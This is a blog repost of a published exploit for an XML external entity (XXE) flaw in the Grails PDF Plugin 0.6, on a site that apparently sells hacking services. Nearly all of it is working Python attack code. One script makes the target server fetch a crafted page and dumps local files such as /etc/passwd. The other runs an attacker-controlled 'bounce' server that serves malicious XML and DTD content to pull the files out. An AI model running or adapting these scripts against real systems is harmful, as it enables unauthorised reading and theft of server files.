Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86370038

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Grails PDF Plugin 0.6 XXE
# Date: 21/02/2017
# Vendor Homepage: http://www.grails.org/plugin/pdf
# Software Link: https://github.com/aeischeid/grails-pdfplugin
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/grails-pdf-plugin-xxe
# Version: 0.6
# CVE : N/A


1. dump_file.py

#!/usr/bin/python3
# Grails PDF Plugin XXE
# cf
# https://www.ambionics.io/blog/grails-pdf-plugin-xxe

import requests
import sys
import os

# Base URL of the Grails target
URL = 'http://10.0.0.179:8080/grailstest'
# "Bounce" HTTP Server
BOUNCE = 'http://10.0.0.138:7777/'


session = requests.Session()
pdfForm = '/pdf/pdfForm?url='
renderPage = 'render.html'

if len(sys.argv) < 0:
    print('usage: ./%s <resource>' % sys.argv[0])
    print('e.g.:  ./%s file:///etc/passwd' % sys.argv[0])
    exit(0)

resource = sys.argv[1]

# Build the full URL
full_url = URL + pdfForm + pdfForm + BOUNCE + renderPage
full_url += '&resource=' + sys.argv[1]

r = requests.get(full_url, allow_redirects=False)

#print(full_url)

if r.status_code != 200:
    print('Error: %s' % r)
else:
    with open('/tmp/file.pdf', 'wb') as handle:
        handle.write(r.content)
    os.system('pdftotext /tmp/file.pdf')
    with open('/tmp/file.txt', 'r') as handle:
        print(handle.read(), end='')


2. server.py

#!/usr/bin/python3
# Grails PDF Plugin XXE
# cf
# https://www.ambionics.io/blog/grails-pdf-plugin-xxe
#
# Server part of the exploitation
#
# Start it in an empty folder:
# $ mkdir /tmp/empty
# $ mv server.py /tmp/empty
# $ /tmp/empty/server.py

import http.server
import socketserver
import sys


BOUNCE_IP = '10.0.0.138'
BOUNCE_PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 80

# Template for the HTML page
template = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html [
 <!ENTITY % start "<![CDATA[">
 <!ENTITY % goodies SYSTEM "[RESOURCE]">
 <!ENTITY % end "]]>">
 <!ENTITY % dtd SYSTEM "http://[BOUNCE]/out.dtd">
%dtd;
]>
<html>
    <head>
        <style>
            body { font-size: 1px; width: 1000000000px;}
        </style>
    </head>
    <body>
        <pre>&all;</pre>
    </body>
</html>"""

# The external DTD trick allows us to get more files; they would've been
invalid
# otherwise
# See: https://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf
dtd = """<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
"""

# Really hacky. When the render.html page is requested, we extract the
# 'resource=XXX' part of the URL and create an HTML file which XXEs it.
class GetHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if 'render.html' in self.path:
            resource = self.path.split('resource=')[1]
            print('Resource: %s' % resource)
            page = template
            page = page.replace('[RESOURCE]', resource)
            page = page.replace('[BOUNCE]', '%s:%d' % (BOUNCE_IP,
BOUNCE_PORT))

            with open('render.html', 'w') as handle:
                handle.write(page)

        return super().do_GET()


Handler = GetHandler
httpd = socketserver.TCPServer(("", BOUNCE_PORT), Handler)

with open('out.dtd', 'w') as handle:
    handle.write(dtd)

print("Started HTTP server on port %d, press Ctrl-C to exit..." %
BOUNCE_PORT)
try:
    httpd.serve_forever()
except KeyboardInterrupt:
    print("Keyboard interrupt received, exiting.")
    httpd.server_close()